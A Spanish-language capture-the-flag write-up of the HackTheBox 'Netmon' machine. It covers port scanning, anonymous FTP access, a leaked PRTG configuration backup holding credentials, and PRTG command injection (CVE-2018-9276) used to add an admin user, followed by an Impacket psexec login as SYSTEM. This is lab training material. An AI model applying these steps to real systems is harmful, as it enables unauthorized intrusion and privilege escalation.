¡Hola! Vamos a resolver de la máquina Netmon
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- FTP Enumeration
- Information Leakage
- Abusing PRTG Network Monitor - Command Injection [RCE]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Netmon
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.152
PING 10.10.10.152 (10.10.10.152) 56(84) bytes of data.
64 bytes from 10.10.10.15: icmp_seq=1 ttl=127 time=42.3 ms
--- 10.10.10.152 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.152 -oG allPorts
PORT STATE SERVICE REASON
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49669 10.10.10.152 -oN targeted
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_02-25-19 10:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-11-22T11:37:23
|_ start_date: 2022-11-22T11:31:34
Reconocimiento FTP
Observamos que podemos conectarnos al servicio FTP como anonymous
. Accedemos a la flag de usuario localizada en Users/Public
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
❯ ftp 10.129.251.179
Connected to 10.129.251.179.
220 Microsoft FTP Service
Name (10.129.251.179:yorch): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-02-19 11:18PM 1024 .rnd
02-25-19 09:15PM <DIR> inetpub
07-16-16 08:18AM <DIR> PerfLogs
02-25-19 09:56PM <DIR> Program Files
02-02-19 11:28PM <DIR> Program Files (x86)
02-03-19 07:08AM <DIR> Users
02-25-19 10:49PM <DIR> Windows
226 Transfer complete.
ftp> cd users
250 CWD command successful.
ftp> cd Public
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 07:05AM <DIR> Documents
07-16-16 08:18AM <DIR> Downloads
07-16-16 08:18AM <DIR> Music
07-16-16 08:18AM <DIR> Pictures
11-22-22 06:32AM 34 user.txt
07-16-16 08:18AM <DIR> Videos
226 Transfer complete.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
34 bytes received in 0.04 secs (0.9321 kB/s)
ftp> exit
421 Service not available, remote server has closed connection
❯ cat user.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: user.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ 1274a3caa2e8d8a75***************
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Seguimos con el reconocimiento FTP y examinamos los programas instalados en Program Files (x86)
donde localizamos PRTG Network Monitor
el cual habíamos visto en el reconocimiento de los servicios de los puertos abiertos
1
2
3
4
5
6
7
8
9
10
11
12
ftp> cd "Program Files (x86)"
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
07-16-16 08:18AM <DIR> Common Files
07-16-16 08:18AM <DIR> internet explorer
07-16-16 08:18AM <DIR> Microsoft.NET
11-22-22 06:31AM <DIR> PRTG Network Monitor
11-20-16 08:53PM <DIR> Windows Defender
07-16-16 08:18AM <DIR> WindowsPowerShell
226 Transfer complete.
Una rápida búsqueda en Google nos revela que los archivos de configuración de PRTG se guardan en C:\ProgramData\Paessler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ftp> cd Paessler
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
11-22-22 06:35AM <DIR> PRTG Network Monitor
226 Transfer complete.
ftp> cd "PRTG Network monitor"
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
12-15-21 07:23AM <DIR> Configuration Auto-Backups
11-22-22 06:32AM <DIR> Log Database
02-02-19 11:18PM <DIR> Logs (Debug)
02-02-19 11:18PM <DIR> Logs (Sensors)
02-02-19 11:18PM <DIR> Logs (System)
11-22-22 06:32AM <DIR> Logs (Web Server)
11-22-22 06:33AM <DIR> Monitoring Database
02-25-19 09:54PM 1189697 PRTG Configuration.dat
12-15-21 10:31AM 1188552 PRTG Configuration.old
07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
11-22-22 06:35AM 1645790 PRTG Graph Data Cache.dat
02-25-19 10:00PM <DIR> Report PDFs
02-02-19 11:18PM <DIR> System Information Database
02-02-19 11:40PM <DIR> Ticket Database
02-02-19 11:18PM <DIR> ToDo Database
226 Transfer complete.
Encontramos un archivo Configuration.old.bak
. Procedemos a descargar e inspeccionar su contenido con el comando get
1
2
3
4
5
6
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1153755 bytes received in 0.49 secs (2.2236 MB/s)
Reconocimiento Web
Accedemos al servicio web por el puerto 80 dónde nos encontramos con un panel de login de PRTG Network Monitor
Tratamos de accecer con las credenciales que encontramos en el archivo backup pero no podemos. Aplicando un poco de guessing y pensando que esta máquina fué lanzada en 2019 probamos misma contraseña pero con fecha 2019 y conseguimos acceder
Explorando la web localizamos la versión de PRTG Network Monitor
Una búsqueda en Google nos revela que versiones inferiores a 18.1.39 son vulnerables a CVE-2018-9276
De acuerdo a este link podemos llegar a un RCE a través del sistema de notificaciones
Accedemos a Setup > Account Settings > Notifications > Add New Notification
Añadimos en el campo Parameter
el comando para agregar nuevo usuario en grupo administrators
Salvamos y para iniciar el proceso hay que clickar en el icono de la campana de la notificación que hemos creado
Una vez realizada esta acción nos podemos conectar con la máquina víctima con el usuario que hemos creado con privilegios de administrador con la herramienta psexec.py
de la suite de Impacket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ /usr/share/doc/python3-impacket/examples/psexec.py htb:'abc123!'@10.10.10.152
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.152.....
[*] Found writable share ADMIN$
[*] Uploading file rEQjkSxI.exe
[*] Opening SVCManager on 10.10.10.152.....
[*] Creating service gBIc on 10.10.10.152.....
[*] Starting service gBIc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Flags
Tras una búsqueda desde la raíz localizamos las flags en sus respectivos directorios. Con el comando type
nos muestra el contenido.
1
2
3
4
5
6
#ROOT
C:\>dir /b/s root.txt
C:\Users\Administrator\Desktop\root.txt
C:\>type C:\Users\Administrator\Desktop\root.txt
db430636922de1d0***************
Hemos completado la máquina Netmon de HackTheBox!! Happy Hacking!!